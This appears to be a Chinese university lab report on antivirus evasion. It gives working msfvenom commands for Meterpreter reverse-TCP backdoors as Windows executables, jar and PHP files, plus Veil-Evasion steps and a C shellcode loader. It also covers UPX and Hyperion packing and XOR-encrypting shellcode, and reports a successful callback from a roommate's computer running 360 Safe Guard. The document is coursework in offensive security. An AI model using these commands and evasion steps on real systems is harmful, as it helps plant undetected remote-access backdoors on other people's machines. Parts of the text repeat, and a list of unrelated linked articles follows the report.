2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165239 Exp3 免杀原理与实践
win10 ip地址 192.168.18.1
fenix ip地址为 192.168.18.128
(1)杀软是如何检测出恶意代码的?
•根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这些特征码来判定他是不是病毒。
•根据该软件的行为进行检测如有异常行为,会被判定为风险文件或病毒。
•基于行为的恶意软件检测:在启发式基础上对软件行为进行监控
(2)免杀是做什么?
通过一定的技术手段,将恶意软件处理,使之不会被杀毒软件发现。
(3)免杀的基本方法有哪些?
•改变特征码:对于.exe文件可以加壳,对于shellcode可以进行加密然后利用shellcode生成可执行文件,或者用其他语言进行重写再编译
•改变行为:根据改变通讯模式、操作模式来实现免杀。
- 实践内容
任务一: 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.使用VirusTotal或Virscan这两个网站对实验二生成的后门程序进行扫描。
•VirusTotal扫描后结果如下:
2.用msf编码器对后门程序进行一次到多次的编码,并进行检测
•一次编码使用命令:
•VirusTotal扫描后结果如下:
•十次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.241 LPORT=5336 -f exe > met-encoded10.exe
•VirusTotal扫描后结果如下:
3.msfvenom生成jar文件、php文件
•生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 x> 5239_backdoor_java.jar
•VirusTotal扫描后结果如下:
•生成php后门程序使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.18.128LPORT=5239 x> 5239_backdoor.php
•VirusTotal扫描后结果如下:
4.使用veil-evasion生成后门程序及检测
•安装veil
代码
:sudo apt-get install veil
•安好后use evasion命令进入Evil-Evasion
•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239命令use c/meterpreter/rev_tcp.py进入配置界面
•设置反弹连接IP,set LHOST 192.168.18.128,IP是KaliIP;设置端口set LPORT 5239
•指令generate生成文件,输入playload的名字:veil_c_5239
•VirusTotal扫描后结果如下
5.手工注入Shellcode并执行
•使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239-f c用c语言生成一段shellcode;
•vim 20165239.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] =
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=5239 -f c生成的代码 加
int main()
{
int (func)() = (int()())buf;
func();
}
•使用命令:i686-w64-mingw32-g++ 20165239.c -o 20165239.exe编译这个.c文件为可执行文件;
•VirusTotal扫描后结果如下
6.加壳尝试
•加压缩壳upx 20165239.exe -o 20165239_uped.exe
•VirusTotal扫描后结果如下:
•加密壳Hyperion:进入目录/usr/share/windows-binaries/hyperion/中将20165239_uped.exe拷贝进来并用wine hyperion.exe -v 20165239_upxed.exe 20165239_upxed_Hyperion.exe进行加壳
•VirusTotal扫描后结果如下:
任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳。
•实现免杀效果,并回连成功 杀毒软件为360安全卫士
的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳
任务二:通过组合应用各种技术实现恶意代码免杀(0.5分)
•用codeblocks的C语言将前面的.c文件里的shellcode加密(加密方式为加五在异或0x66)得到下图的shellcode,然后在进行加压缩壳
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
•对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)
实验感想:
本次实验大多数是我一个人完成的,有些不会则问舍友同学,在安装kali过程中很多都是问舍友,还有查阅网上的资料
2018-2019-2 网络对抗技术 20165239Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20145308 《网络对抗》 MAL_免杀原理及实践 学习总结
20145308 <网络对抗> MAL_免杀原理及实践 学习总结 实践内容 (1)理解免杀技术原理 (2)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免 ...
- 20155217《网络对抗》Exp03 免杀原理与实践
20155217<网络对抗>Exp03 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
随机推荐
- 怎么添加在安装好的nvidia-docker上面根据Dockerfile构建自己所需要的运行环境
在已经创建好nvidia-docker环境之后,对于新手小白来说,又有一个问题了,就是如何根据Dockerfile来构建试验所需要的docker环境 主要是以下几个步骤 首先创建一个mydocker文 ...
- ECS集群管理docker
1. create ECR Repositories on AWS a. local server need install git/docker/awscli b. config aws: use ...
- Jira与Confluence集成、授权信息查看和问题汇总
上一篇文章详细阐述了jira和confluence的安装部署和相关配置的操作记录,也介绍了两者之间其中一种集成方式:下面介绍另外的集成方式. 安装部署jira和confluence的顺序是,先安装ji ...
- Windows系统封装教程
Windows系统封装教程
- 整理一些vue elementui 问题 + 链接方法
1.前端通过spark-md5.js计算本地文件md5 2.vue如何利用自定义的事件,在子组件中修改父组件里边的值 3.vue子组件获取父组件的内容(props属性) 4.Element ui se ...
- 记我在github上参与的Star增长最快的十万级项目。。。
前言 GitHub作为程序员的圣地. 用了两三年,一直都觉得,他可以代码托管,项目管理,为项目建立静态主页,个人简历,找工作,面试加分. 然而>>>....昨天才认识到我还是太年轻, ...
- cout,cerr和clog的区别
官方解释: cout——Standard output stream Object of class ostream that represents the standard output strea ...
- 如何安装zsh,终极shell
1,教程 教程 上知乎直接搜索终极shell也可以,话不多说,直接自己看教程吧 2,总之就是 sudo apt-get install zsh chsh ...修改设置 wget下载oh-my-zsh ...
- LeetCode第二十二题-创建n对括号
Generate Parentheses 问题简介: 给定n对括号,编写一个函数来生成格式正确的括号的所有组合. 举例: 给定n = 2,解集是: [ “()()”, “(())” ] 给定n = 3 ...
- oracle insert into 插入多组数据方法总结
网上好多oracle 的文章,多是以oracle开头,内容确实其他sql,一幅气死人不偿命的嘴脸着实让人难受. 今天就更新点oracle 使用insert into插入数据的方式: 1.oracle ...